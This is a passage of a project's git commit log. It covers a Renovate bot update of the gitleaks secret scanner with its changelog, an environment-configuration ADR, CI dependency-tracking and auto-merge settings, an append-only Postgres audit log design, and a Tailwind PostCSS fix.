([#​1722](https://github.com/gitleaks/gitleaks/issues/1722)) - [`f3ae52e`](https://github.com/gitleaks/gitleaks/commit/f3ae52e) feat(generic-api-key): detect base64 ([#​1598](https://github.com/gitleaks/gitleaks/issues/1598)) - [`d6a828a`](https://github.com/gitleaks/gitleaks/commit/d6a828a) great branch name ([#​1721](https://github.com/gitleaks/gitleaks/issues/1721)) - [`d2ffffe`](https://github.com/gitleaks/gitleaks/commit/d2ffffe) fix(git): remove .git suffix for links ([#​1716](https://github.com/gitleaks/gitleaks/issues/1716)) - [`a43dc0d`](https://github.com/gitleaks/gitleaks/commit/a43dc0d) chore: refine generic-api-key fps + trace logging ([#​1720](https://github.com/gitleaks/gitleaks/issues/1720)) - [`69ed20e`](https://github.com/gitleaks/gitleaks/commit/69ed20e) fix(generate): move newline out of char range ([#​1719](https://github.com/gitleaks/gitleaks/issues/1719)) - [`52b895a`](https://github.com/gitleaks/gitleaks/commit/52b895a) newline literal ([#​1718](https://github.com/gitleaks/gitleaks/issues/1718)) - [`3f4d91f`](https://github.com/gitleaks/gitleaks/commit/3f4d91f) build: support either stdlib or 3rd-party regexp ([#​1706](https://github.com/gitleaks/gitleaks/issues/1706)) - [`049f5b2`](https://github.com/gitleaks/gitleaks/commit/049f5b2) chore(detect): update trace logging ([#​1713](https://github.com/gitleaks/gitleaks/issues/1713)) - [`7a6183d`](https://github.com/gitleaks/gitleaks/commit/7a6183d) feat(git): redact passwords from remote URL ([#​1709](https://github.com/gitleaks/gitleaks/issues/1709)) - [`3c7f3f0`](https://github.com/gitleaks/gitleaks/commit/3c7f3f0) feat(git): include link in report ([#​1698](https://github.com/gitleaks/gitleaks/issues/1698)) - [`0e3f4f7`](https://github.com/gitleaks/gitleaks/commit/0e3f4f7) chore: reduce generic-api-key fps ([#​1707](https://github.com/gitleaks/gitleaks/issues/1707)) - [`3ed8567`](https://github.com/gitleaks/gitleaks/commit/3ed8567) blorp - [`e977850`](https://github.com/gitleaks/gitleaks/commit/e977850) added new rule for cisco meraki api key ([#​1700](https://github.com/gitleaks/gitleaks/issues/1700)) - [`ad7a4fb`](https://github.com/gitleaks/gitleaks/commit/ad7a4fb) feat: general fp tweaks ([#​1703](https://github.com/gitleaks/gitleaks/issues/1703)) - [`b2cf03c`](https://github.com/gitleaks/gitleaks/commit/b2cf03c) chore(generate): use \x60 instead of literal ([#​1702](https://github.com/gitleaks/gitleaks/issues/1702)) - [`a3f623c`](https://github.com/gitleaks/gitleaks/commit/a3f623c) chore(regex): simplify secretPrefix, suffix ([#​1620](https://github.com/gitleaks/gitleaks/issues/1620)) - [`cc71bb1`](https://github.com/gitleaks/gitleaks/commit/cc71bb1) update version for pre-commit in README.md ([#​1699](https://github.com/gitleaks/gitleaks/issues/1699)) ### [`v8.23.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.23.1) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.23.0...v8.23.1) ##### Changelog - [`7bad9f7`](https://github.com/gitleaks/gitleaks/commit/7bad9f7) chore(gcp): add firebase example keys to the gcp-api-key allowlists ([#​1635](https://github.com/gitleaks/gitleaks/issues/1635)) - [`977236c`](https://github.com/gitleaks/gitleaks/commit/977236c) fix: unaligned 64-bit atomic operation panic ([#​1696](https://github.com/gitleaks/gitleaks/issues/1696)) - [`a211b16`](https://github.com/gitleaks/gitleaks/commit/a211b16) force push to master everyday - [`0e5f644`](https://github.com/gitleaks/gitleaks/commit/0e5f644) feat(config): disable extended rule ([#​1535](https://github.com/gitleaks/gitleaks/issues/1535)) - [`f320a60`](https://github.com/gitleaks/gitleaks/commit/f320a60) style: prevent globbing and word splitting ([#​1543](https://github.com/gitleaks/gitleaks/issues/1543)) - [`c4526b2`](https://github.com/gitleaks/gitleaks/commit/c4526b2) refactor(generic-api-key): remove hard-coded 'magic' ([#​1600](https://github.com/gitleaks/gitleaks/issues/1600)) - [`748076d`](https://github.com/gitleaks/gitleaks/commit/748076d) chore(generate): add failing test case ([#​1690](https://github.com/gitleaks/gitleaks/issues/1690)) ### [`v8.23.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.23.0) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.22.1...v8.23.0) ##### Changelog - [`db8e5e6`](https://github.com/gitleaks/gitleaks/commit/db8e5e6) feat(generate): use multiple allowlists ([#​1691](https://github.com/gitleaks/gitleaks/issues/1691)) - [`973c794`](https://github.com/gitleaks/gitleaks/commit/973c794) chore(rules): include fps in reference ([#​1471](https://github.com/gitleaks/gitleaks/issues/1471)) - [`f0d4499`](https://github.com/gitleaks/gitleaks/commit/f0d4499) Add comma as operator for GenerateSemiGenericRegex ([#​1679](https://github.com/gitleaks/gitleaks/issues/1679)) - [`ab38a46`](https://github.com/gitleaks/gitleaks/commit/ab38a46) refactor: central logger ([#​1692](https://github.com/gitleaks/gitleaks/issues/1692)) - [`b022d1c`](https://github.com/gitleaks/gitleaks/commit/b022d1c) friendship ended with tines READ THIS!!! The default gitleaks config now uses `[[rules.allowlists]]` ```toml ##### ⚠️ In v8.21.0 `[rules.allowlist]` was replaced with `[[rules.allowlists]]`. ##### This change was backwards-compatible: instances of `[rules.allowlist]` still work. # ##### You can define multiple allowlists for a rule to reduce false positives. ##### A finding will be ignored if _ANY_ `[[rules.allowlists]]` matches. [[rules.allowlists]] description = "ignore commit A" ##### When multiple criteria are defined the default condition is "OR". ##### e.g., this can match on |commits| OR |paths| OR |stopwords|. condition = "OR" commits = [ "commit-A", "commit-B"] paths = [ '''go\.mod''', '''go\.sum''' ] ##### note: stopwords targets the extracted secret, not the entire regex match ##### like 'regexes' does. (stopwords introduced in 8.8.0) stopwords = [ '''client''', '''endpoint''', ] [[rules.allowlists]] ##### The "AND" condition can be used to make sure all criteria match. ##### e.g., this matches if |regexes| AND |paths| are satisfied. condition = "AND" ##### note: |regexes| defaults to check the _Secret_ in the finding. ##### Acceptable values for |regexTarget| are "secret" (default), "match", and "line". regexTarget = "match" regexes = [ '''(?i)parseur[il]''' ] paths = [ '''package-lock\.json''' ] ``` ### [`v8.22.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.22.1) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.22.0...v8.22.1) ##### Changelog - [`b69b515`](https://github.com/gitleaks/gitleaks/commit/b69b515) Entropy trace ([#​1659](https://github.com/gitleaks/gitleaks/issues/1659)) - [`7357adc`](https://github.com/gitleaks/gitleaks/commit/7357adc) build: add 'toolchain' to go.mod ([#​1682](https://github.com/gitleaks/gitleaks/issues/1682)) - [`4c3da6e`](https://github.com/gitleaks/gitleaks/commit/4c3da6e) refactor(detect): create readUntilSafeBoundary + add tests ([#​1676](https://github.com/gitleaks/gitleaks/issues/1676)) - [`dbe3746`](https://github.com/gitleaks/gitleaks/commit/dbe3746) twitter really does suck ass now - [`7edfc6b`](https://github.com/gitleaks/gitleaks/commit/7edfc6b) chore(tests): test cases for generate.go ([#​1623](https://github.com/gitleaks/gitleaks/issues/1623)) - [`efe40ca`](https://github.com/gitleaks/gitleaks/commit/efe40ca) fix: only use non-empty secret groups ([#​1632](https://github.com/gitleaks/gitleaks/issues/1632)) - [`7cb5f6f`](https://github.com/gitleaks/gitleaks/commit/7cb5f6f) build: upgrade sprig v2->v3 ([#​1674](https://github.com/gitleaks/gitleaks/issues/1674)) - [`2930537`](https://github.com/gitleaks/gitleaks/commit/2930537) fix: generate report file even if no findings ([#​1673](https://github.com/gitleaks/gitleaks/issues/1673)) ### [`v8.22.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.22.0) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.21.4...v8.22.0) ##### Changelog - [`a91c671`](https://github.com/gitleaks/gitleaks/commit/a91c671) replace std library regex engine with go-re2 ([#​1669](https://github.com/gitleaks/gitleaks/issues/1669)) *** This bumps the gitleaks binary size from around 8.5MB to 15MB but yields 2-4x speedup. Worth it imo. If you feel strongly against this change feel free to open an issue where we can discuss the tradeoffs in more depth. Credit to [@​ahrav](https://github.com/ahrav) ### [`v8.21.4`](https://github.com/gitleaks/gitleaks/releases/tag/v8.21.4) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.21.3...v8.21.4) ##### Changelog - [`906085f`](https://github.com/gitleaks/gitleaks/commit/906085f) Update golang version to 1.23 ([#​1672](https://github.com/gitleaks/gitleaks/issues/1672)) - [`8a83062`](https://github.com/gitleaks/gitleaks/commit/8a83062) log bytes ([#​1670](https://github.com/gitleaks/gitleaks/issues/1670)) ### [`v8.21.3`](https://github.com/gitleaks/gitleaks/releases/tag/v8.21.3) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.21.2...v8.21.3) ##### Changelog - [`a9e6d8c`](https://github.com/gitleaks/gitleaks/commit/a9e6d8c) go mod 1.23 - [`2f73a3e`](https://github.com/gitleaks/gitleaks/commit/2f73a3e) Ensure keywords are downcased ([#​1633](https://github.com/gitleaks/gitleaks/issues/1633)) - [`f696605`](https://github.com/gitleaks/gitleaks/commit/f696605) feat: add settlemint api keys detection ([#​1663](https://github.com/gitleaks/gitleaks/issues/1663)) - [`0bf13fc`](https://github.com/gitleaks/gitleaks/commit/0bf13fc) feat(dir): better chunking ([#​1665](https://github.com/gitleaks/gitleaks/issues/1665)) - [`83e99ba`](https://github.com/gitleaks/gitleaks/commit/83e99ba) feat(report): allow user-defined templates ([#​1650](https://github.com/gitleaks/gitleaks/issues/1650)) - [`e393d29`](https://github.com/gitleaks/gitleaks/commit/e393d29) Add support for GitLab routable tokens ([#​1656](https://github.com/gitleaks/gitleaks/issues/1656)) - [`263ce82`](https://github.com/gitleaks/gitleaks/commit/263ce82) Add freemius secret key detection ([#​1611](https://github.com/gitleaks/gitleaks/issues/1611)) - [`3c0e068`](https://github.com/gitleaks/gitleaks/commit/3c0e068) fix(kubernetes): only match 'kind: secret' ([#​1649](https://github.com/gitleaks/gitleaks/issues/1649)) - [`f3adda0`](https://github.com/gitleaks/gitleaks/commit/f3adda0) feat: use STDOUT when report file not specified ([#​1642](https://github.com/gitleaks/gitleaks/issues/1642)) - [`ed205a5`](https://github.com/gitleaks/gitleaks/commit/ed205a5) fix(dir): skip opening file\&dir if allowlist matches ([#​1653](https://github.com/gitleaks/gitleaks/issues/1653)) - [`6018012`](https://github.com/gitleaks/gitleaks/commit/6018012) fix: increase chunk size 10kb -> 100kb ([#​1652](https://github.com/gitleaks/gitleaks/issues/1652)) - [`7f77987`](https://github.com/gitleaks/gitleaks/commit/7f77987) feat: detect sentry.io tokens in the new format ([#​1640](https://github.com/gitleaks/gitleaks/issues/1640)) - [`48a2e0e`](https://github.com/gitleaks/gitleaks/commit/48a2e0e) refactor: pre-commit hooks ([#​1627](https://github.com/gitleaks/gitleaks/issues/1627)) - [`4e303d0`](https://github.com/gitleaks/gitleaks/commit/4e303d0) fix(easypost): only detect tokens of correct length ([#​1628](https://github.com/gitleaks/gitleaks/issues/1628)) - [`c1add1d`](https://github.com/gitleaks/gitleaks/commit/c1add1d) feat(dir): continue on permission error ([#​1621](https://github.com/gitleaks/gitleaks/issues/1621)) - [`202106a`](https://github.com/gitleaks/gitleaks/commit/202106a) Add human readable description for curl rules ([#​1625](https://github.com/gitleaks/gitleaks/issues/1625)) - [`8e94f98`](https://github.com/gitleaks/gitleaks/commit/8e94f98) Add option to include `Line` field in report ([#​1616](https://github.com/gitleaks/gitleaks/issues/1616)) - [`dbb42a7`](https://github.com/gitleaks/gitleaks/commit/dbb42a7) hm (great comment) - [`2599460`](https://github.com/gitleaks/gitleaks/commit/2599460) Update README.md - [`8ffb980`](https://github.com/gitleaks/gitleaks/commit/8ffb980) nop for stupid build - [`4181ad6`](https://github.com/gitleaks/gitleaks/commit/4181ad6) Add new jira api token pattern ([#​1601](https://github.com/gitleaks/gitleaks/issues/1601)) - [`48ea14b`](https://github.com/gitleaks/gitleaks/commit/48ea14b) feat: update global & generic allowlist ([#​1618](https://github.com/gitleaks/gitleaks/issues/1618)) - [`81f0002`](https://github.com/gitleaks/gitleaks/commit/81f0002) fix(vault-service-token): ensure that TPS contains digits ([#​1614](https://github.com/gitleaks/gitleaks/issues/1614)) - [`c11adc9`](https://github.com/gitleaks/gitleaks/commit/c11adc9) Generate comprehensive secret samples ([#​1484](https://github.com/gitleaks/gitleaks/issues/1484)) - [`d1d9054`](https://github.com/gitleaks/gitleaks/commit/d1d9054) fix(aws): detect token in url ([#​1615](https://github.com/gitleaks/gitleaks/issues/1615)) - [`5fe58bf`](https://github.com/gitleaks/gitleaks/commit/5fe58bf) fix(rules): entropy, uppercase in samples ([#​1593](https://github.com/gitleaks/gitleaks/issues/1593)) - [`5c2e813`](https://github.com/gitleaks/gitleaks/commit/5c2e813) feat: tweak rules ([#​1608](https://github.com/gitleaks/gitleaks/issues/1608)) ### [`v8.21.2`](https://github.com/gitleaks/gitleaks/releases/tag/v8.21.2) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.21.1...v8.21.2) ##### Changelog - [`43fae35`](https://github.com/gitleaks/gitleaks/commit/43fae35) feat(rules): create Octopus Deploy api key ([#​1602](https://github.com/gitleaks/gitleaks/issues/1602)) - [`a158e4f`](https://github.com/gitleaks/gitleaks/commit/a158e4f) fix(aws-access-token): only match if correct length ([#​1584](https://github.com/gitleaks/gitleaks/issues/1584)) - [`b6e0eee`](https://github.com/gitleaks/gitleaks/commit/b6e0eee) fix(config): ignore jquery/swagger w/o version ([#​1607](https://github.com/gitleaks/gitleaks/issues/1607)) - [`722e7d8`](https://github.com/gitleaks/gitleaks/commit/722e7d8) feat: add new GitLab tokens ([#​1560](https://github.com/gitleaks/gitleaks/issues/1560)) - [`961f2e6`](https://github.com/gitleaks/gitleaks/commit/961f2e6) feat(generic-api-key): tune false positives ([#​1606](https://github.com/gitleaks/gitleaks/issues/1606)) - [`e734fcf`](https://github.com/gitleaks/gitleaks/commit/e734fcf) Create .gitleaks.toml ([#​1605](https://github.com/gitleaks/gitleaks/issues/1605)) - [`7206d6b`](https://github.com/gitleaks/gitleaks/commit/7206d6b) feat(curl): tweak tps and fps ([#​1603](https://github.com/gitleaks/gitleaks/issues/1603)) - [`2db25f1`](https://github.com/gitleaks/gitleaks/commit/2db25f1) feat(config): ignore swagger-ui assets ([#​1604](https://github.com/gitleaks/gitleaks/issues/1604)) - [`e97695b`](https://github.com/gitleaks/gitleaks/commit/e97695b) feat(generic-api-key): exclude keywords ([#​1587](https://github.com/gitleaks/gitleaks/issues/1587)) - [`0afb525`](https://github.com/gitleaks/gitleaks/commit/0afb525) feat(okta): bump entropy to 4 ([#​1599](https://github.com/gitleaks/gitleaks/issues/1599)) - [`2068870`](https://github.com/gitleaks/gitleaks/commit/2068870) feat: update global allowlist ([#​1597](https://github.com/gitleaks/gitleaks/issues/1597)) - [`8cf93b9`](https://github.com/gitleaks/gitleaks/commit/8cf93b9) refactor(allowlist): deduplicate commits & keywords ([#​1596](https://github.com/gitleaks/gitleaks/issues/1596)) - [`50c2818`](https://github.com/gitleaks/gitleaks/commit/50c2818) feat(config): ignore jquery static assets ([#​1595](https://github.com/gitleaks/gitleaks/issues/1595)) - [`455ae0a`](https://github.com/gitleaks/gitleaks/commit/455ae0a) More rule fixes ([#​1586](https://github.com/gitleaks/gitleaks/issues/1586)) - [`5407c44`](https://github.com/gitleaks/gitleaks/commit/5407c44) chore: log skipped symlinks ([#​1591](https://github.com/gitleaks/gitleaks/issues/1591)) - [`d03d6c4`](https://github.com/gitleaks/gitleaks/commit/d03d6c4) feat: match left side of identifier ([#​1585](https://github.com/gitleaks/gitleaks/issues/1585)) - [`851c11a`](https://github.com/gitleaks/gitleaks/commit/851c11a) what secrets? - [`8cfa6b2`](https://github.com/gitleaks/gitleaks/commit/8cfa6b2) fix(rules): add entropy ([#​1580](https://github.com/gitleaks/gitleaks/issues/1580)) - [`9152eaa`](https://github.com/gitleaks/gitleaks/commit/9152eaa) feat(aws): add entropy & allowlist ([#​1582](https://github.com/gitleaks/gitleaks/issues/1582)) - [`93acc6e`](https://github.com/gitleaks/gitleaks/commit/93acc6e) feat(rules): add 1password token ([#​1583](https://github.com/gitleaks/gitleaks/issues/1583)) - [`83a5724`](https://github.com/gitleaks/gitleaks/commit/83a5724) feat(config): add curl header rule ([#​1576](https://github.com/gitleaks/gitleaks/issues/1576)) ### [`v8.21.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.21.1) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.21.0...v8.21.1) ##### Changelog - [`cf5334f`](https://github.com/gitleaks/gitleaks/commit/cf5334f) feat: add curl basic auth rule ([#​1575](https://github.com/gitleaks/gitleaks/issues/1575)) - [`d07b394`](https://github.com/gitleaks/gitleaks/commit/d07b394) Update spelling in README.md ([#​1574](https://github.com/gitleaks/gitleaks/issues/1574)) - [`5c03fa4`](https://github.com/gitleaks/gitleaks/commit/5c03fa4) refactor(allowlist): use iota for condition ([#​1569](https://github.com/gitleaks/gitleaks/issues/1569)) - [`12034a7`](https://github.com/gitleaks/gitleaks/commit/12034a7) refactor(config): temporarily switch to \[rules.allowlist] ([#​1573](https://github.com/gitleaks/gitleaks/issues/1573)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/79 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
4476cbb518 |
docs(decisions): add ADR-0018 — environment configuration strategy (#80)
## Summary
Records the per-environment config strategy for both apps. ADR-only — no code changes; the implementation is anchored in §Confirmation against the next feature work that touches per-environment values.
## What lands
[**ADR-0018 — Environment configuration**](docs/decisions/0018-environment-configuration-strategy.md):
- **SPA**: Angular `environment.ts` + project.json `fileReplacements`. Build-time substitution; no runtime config fetch (rejected for the LCP/TTFB cost it would add and the deploy-time HTML rewrite that the alternatives need). Concretely cleans up the hard-coded URLs we left in `observability/tracing.ts` and `home-status.service.ts` ("hard-coded for v1 — env-config when it lands" comments).
- **BFF**: keep `process.env` + small per-key boot-time validators (the shape `apps/portal-bff/src/config/check-database-url.ts` already follows). `@nestjs/config` rejected as too heavy for the current key count; `zod` not justified yet.
- **Audit log connection**: formalises the `AUDIT_DATABASE_URL` split that ADR-0013 §"Wired as features land" already pointed at. When set, the `AuditModule` instantiates a second Prisma client with `audit_writer`-only credentials (defense in depth); when unset, the dev fallback (shared pool + `SET LOCAL ROLE audit_writer` per transaction) keeps working. A boot-time `UPDATE`-rejection self-test runs against the dedicated pool when configured — refuses to start if the pool can mutate the audit table.
The §Confirmation block cross-references the env-var-as-boot-gate items already pre-figured in ADR-0009 / ADR-0010 / ADR-0012 / ADR-0013 / ADR-0014, so the validator pattern is the single landing place when those features ship.
## What does NOT change in this PR
- No `apps/portal-shell/src/environments/*.ts` files yet — landed alongside the next feature that actually needs per-environment values.
- No `AUDIT_DATABASE_URL` validator in BFF — same; lands when the second pool is wired.
- No CLAUDE.md restructuring; just one extra bullet under the Architecture summary referencing ADR-0018.
## Doc updates
- `docs/decisions/README.md` index — new row for ADR-0018.
- `CLAUDE.md` Architecture summary — one-line reference to ADR-0018 between the perf-budget and local-quality-gates entries.
## Test plan
- [ ] CI green on this PR (`format:check`).
- [ ] ADR-0018 renders in the doc index with the right tags (`frontend`, `backend`, `infrastructure`, `process`) and 2026-05-10 date.
---------
Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #80
|
||
|
|
4473b1d4a4 |
chore(ci): track trivy and gitleaks binary versions via renovate custom manager (#78)
## Summary Until now the Trivy and gitleaks pins in `.gitea/workflows/*.yml` were manual — Renovate's built-in managers only see package-manager-tracked deps (npm, docker-compose images, GitHub Actions, etc.) and ignore plain env vars. The comment in each workflow telling the next contributor to "bump manually from the releases page" is the kind of friction that gets forgotten between two security advisories. Add a **custom regex manager** that picks up `# renovate: datasource=… depName=…` annotations immediately followed by an env-var assignment of the form `<NAME>_VERSION: '<version>'`. The 4 pins (`TRIVY_VERSION` + `GITLEAKS_VERSION` in both `ci.yml` and `security-scheduled.yml`) get annotated with the `github-releases` datasource and the upstream `owner/repo` depName. `extractVersionTemplate: ^v?(?<version>.+)$` strips the `v` prefix used by both projects' release tags, so the version substituted into the env var (which our shell script consumes without `v`) stays correct. ## What lands - **`renovate.json`** — new `customManagers` block. The dashboard triage header is updated to reflect the new tracking (was "not Renovate-tracked yet"). - **`.gitea/workflows/ci.yml`** — annotate the Trivy and gitleaks env vars; remove the dead "manual bump" comments. - **`.gitea/workflows/security-scheduled.yml`** — same. ## Verified Node-side dry-run of the regex against both workflow files: ``` ci.yml → trivy 0.70.0, gitleaks 8.21.0 security-scheduled.yml → trivy 0.70.0, gitleaks 8.21.0 ``` All 4 expected matches with the right `datasource` / `depName` / `currentValue` captures. ## Test plan - [ ] CI green on this PR. - [ ] After merge, the next Renovate run picks up Trivy and gitleaks as detected dependencies in the dashboard. New patch / minor releases should now produce normal Renovate PRs (auto-merging on patches per #74). - [ ] No manual "bump from the releases page" reminders left in the workflow YAML. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #78 |
||
|
|
922a44bb50 |
chore(ci): auto-merge low-risk renovate updates (#77)
## Summary After ~10 days of clean Renovate track record (~30 PRs merged without regression beyond the TS/ESLint/webpack-cli majors that the dashboard-approval rule now catches), enable auto-merge on the lowest-risk update types. CI is the gate — `check` / `scan` / `a11y` going red leaves the PR open for manual triage. | Update type | Pre-PR | Post-PR | | - | - | - | | **patch** | manual review | **auto-merge if CI green** | | **pin** (rolling-tag → fixed-version pin) | manual | **auto-merge if CI green** | | **digest** (image digest pin refresh) | manual | **auto-merge if CI green** | | **lockFileMaintenance** (weekly transitive refresh) | manual | **auto-merge if CI green** | | **minor** | manual review (unchanged) | manual review | | **major** | dashboard approval (unchanged) | dashboard approval | `automergeStrategy: "squash"` matches our trunk-based squash-merge convention. `automergeType: "pr"` keeps the PR + CI run as the audit trail (vs branch-direct push), and Gitea auto-merges the PR once green via the bot's existing `repo:write` permission. ## Doc updates - `renovate.json` `dependencyDashboardHeader` — the "Open" row now reflects the new reality: mostly minors, with red patches surfacing briefly when CI fails. - `docs/development.md` §"Reviewing Renovate PRs" gains a bullet describing the auto-merge for contributors landing on the project later. ## Test plan - [ ] CI green on this PR. - [ ] After merge, the next patch-level Renovate run produces a PR that auto-squashes into `main` once CI clears (visible in the merged log; no human action required). - [ ] A patch with red CI stays open in "Open" with the `dependencies` label. - [ ] Minor / major Renovate PRs continue to require human merge. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #77 |
||
|
|
02ac44e498 |
feat(portal-bff): audit log foundation per ADR-0013 (#76)
## Summary Lays down the append-only audit log per ADR-0013: schema declaration, first migration with role grants, NestJS `AuditWriter` service. Typed event-family methods, the separate `AUDIT_DATABASE_URL` pool, the retention job, and the live-DB integration tests are explicitly listed as "wired as features land" in the ADR's confirmation block — they ship when the matching feature ADRs do. ## What lands **Prisma schema** ([`apps/portal-bff/prisma/schema.prisma`](apps/portal-bff/prisma/schema.prisma)): - `multiSchema` preview enabled; datasource declares `public` + `audit` schemas. - `AuditEvent` model: `id` (uuid), `createdAt`, `eventType` (free-form in v1), `audience` enum (`workforce | customer`), `actorIdHash`, `traceId`, `subject`, `outcome` enum (`success | failure | denied`), `payload` (jsonb). - Indexes on `createdAt`, `eventType`, `traceId` — covering the three obvious query shapes. **Migration** ([`prisma/migrations/*_init_audit_schema/migration.sql`](apps/portal-bff/prisma/migrations/20260510011453_init_audit_schema/migration.sql)): - Standard Prisma `CREATE TABLE` / enums output, then the **append-only contract** re-applied explicitly: - `ALTER TABLE/TYPE OWNER TO audit_owner`. - `GRANT INSERT` to `audit_writer`, `SELECT` to `audit_reader`, **`SELECT, DELETE`** to `audit_archiver` (SELECT is needed to evaluate the `created_at` predicate of "delete older than retention" — Postgres requires SELECT on every column referenced in DELETE's WHERE). - `GRANT USAGE` on the enum types to all three roles (without it `audit_writer.INSERT` fails with "permission denied for type"). - **No** GRANT for `UPDATE` / `TRUNCATE` to anyone — including `audit_owner` at runtime; only fresh schema migrations amend the table. **Service** ([`apps/portal-bff/src/audit/`](apps/portal-bff/src/audit/)): - `AuditWriter.recordEvent(input)` — single entry point. Wraps every INSERT in a transaction whose first statement is `SET LOCAL ROLE audit_writer`, so the role contract holds at runtime even from the otherwise-privileged BFF connection. - `traceId` auto-resolved from the active OTel span (so audit row joins with traces and Pino logs on the same `trace_id`). - `actorIdHash` auto-resolved from CLS (key `actorIdHash`) with explicit input-side override; `null` when neither is set (placeholder until ADR-0009 / ADR-0010 guards populate CLS). - Errors propagate (no catch-and-swallow), per ADR-0013's "blocking writes: no audit ⇒ no action". **Tests** — 8 unit tests on `AuditWriter` (mocked Prisma + CLS): role-locking ordering, input pass-through, `Prisma.JsonNull` for missing payload, CLS-vs-input precedence on `actorIdHash`, OTel trace capture, error propagation. ## End-to-end verification (manual, against local-dev Postgres) ``` INSERT under audit_writer: ok UPDATE under audit_writer: permission denied for table events DELETE under audit_writer: permission denied for table events DELETE under audit_archiver: ok, row removed (after the SELECT-grant fix) ``` ## ADR-0013 §Confirmation rewritten Two-block split: "wired in foundation PR" lists what landed here; "wired as features land" lists the typed event-family methods, AUDIT_DATABASE_URL connection split, startup self-test probe, retention purge job, salt-shared cross-correlation test, and live-DB role-contract integration tests — each anchored to the feature ADR that triggers it. ## Recovery for anyone with a pre-existing local-dev DB If your local-dev Postgres already had the audit migration applied **before** the SELECT-grant fix, the archiver's DELETE will fail. Two options: 1. Apply the missing grant directly: ```bash psql "$DATABASE_URL" -c "GRANT SELECT ON audit.events TO audit_archiver;" ``` 2. Or wipe the volume and re-migrate cleanly: ```bash ./infra/local/dev.sh down -v ./infra/local/dev.sh up pnpm --filter @apf-portal/source exec prisma migrate deploy # or `cd apps/portal-bff && pnpm exec prisma migrate deploy` ``` Fresh DBs land with the corrected migration directly. ## Out of scope (separate PRs) - Typed event-family methods (`signIn`, `signInFailed`, …) — added per matching feature ADR. - `AUDIT_DATABASE_URL` separate connection pool — defense-in-depth, when production needs it. - Startup self-test probe (deliberate failing UPDATE asserting rejection) — lands with the connection split. - Retention purge job (`audit_archiver` daily cron) — phase-3b infra. - Live-DB integration tests asserting the role contract — Testcontainers-style harness, separate PR. ## Test plan - [ ] CI green on this PR. - [ ] `prisma migrate deploy` succeeds on a fresh DB (the recovery instructions cover the SELECT-grant gap for already-migrated dev DBs). - [ ] `psql -c "\dp audit.events"` shows the expected privilege matrix: `audit_owner=arwdDxtm/audit_owner`, `audit_writer=a/audit_owner`, `audit_reader=r/audit_owner`, `audit_archiver=rd/audit_owner`. - [ ] BFF boots; calling `AuditWriter.recordEvent` from a controller (manual smoke once a real flow lands) writes to `audit.events` with the expected `trace_id` matching the request's Jaeger span. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #76 |
||
|
|
e2dd2e4dd8 |
fix(portal-shell): use .postcssrc.json so tailwind utilities are emitted (#75)
## Summary The portal-shell scaffold shipped a `postcss.config.js`, but `@angular/build` (Angular 17+ esbuild pipeline) does **not** load that file format — it only reads `.postcssrc.json`. Result: the `@tailwindcss/postcss` plugin was never registered, Tailwind ran with no source files visible, generated only its `@theme` block, and dropped every utility class on the floor. The page therefore rendered unstyled — black text on white — even though `nx build` reported success and shipped a 23 KB `styles*.css`. Rename / re-encode the config to `.postcssrc.json`. Same plugin, same options, just the file format Angular's esbuild adapter actually reads. ## Verification | | Before | After | | - | - | - | | Class selectors in `dist/apps/portal-shell/browser/styles*.css` | **0** | **75** (production) | | `.text-3xl`, `.bg-amber-50`, `.font-semibold` etc. emitted | ❌ | ✓ | | Pages render with intended Tailwind layout | ❌ | ✓ | ```bash pnpm exec nx build portal-shell --configuration=production grep -oE '\.[a-zA-Z][a-zA-Z0-9_-]*' dist/apps/portal-shell/browser/styles*.css | sort -u | wc -l # 75 ``` ## Doc update `docs/development.md` repo-layout walkthrough now reads `.postcssrc.json` and explicitly calls out that `postcss.config.js` is ignored by `@angular/build` — so a future contributor reaching for the legacy filename gets a hint instead of a silent failure. ## Test plan - [ ] CI green on this PR. - [ ] Local: bring up the SPA dev server, `localhost:4200` shows the styled layout — header bar with brand link, system-status widget with rounded card, footer with the two language links. - [ ] Production build: `nx build portal-shell --configuration=production` succeeds; `dist/.../styles*.css` contains tens of utility-class selectors (not just `@theme` tokens). --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #75 |
||
|
|
0d31937aeb |
feat(portal-shell): replace nx-welcome with real shell and home + budgets per ADR-0017 (#74)
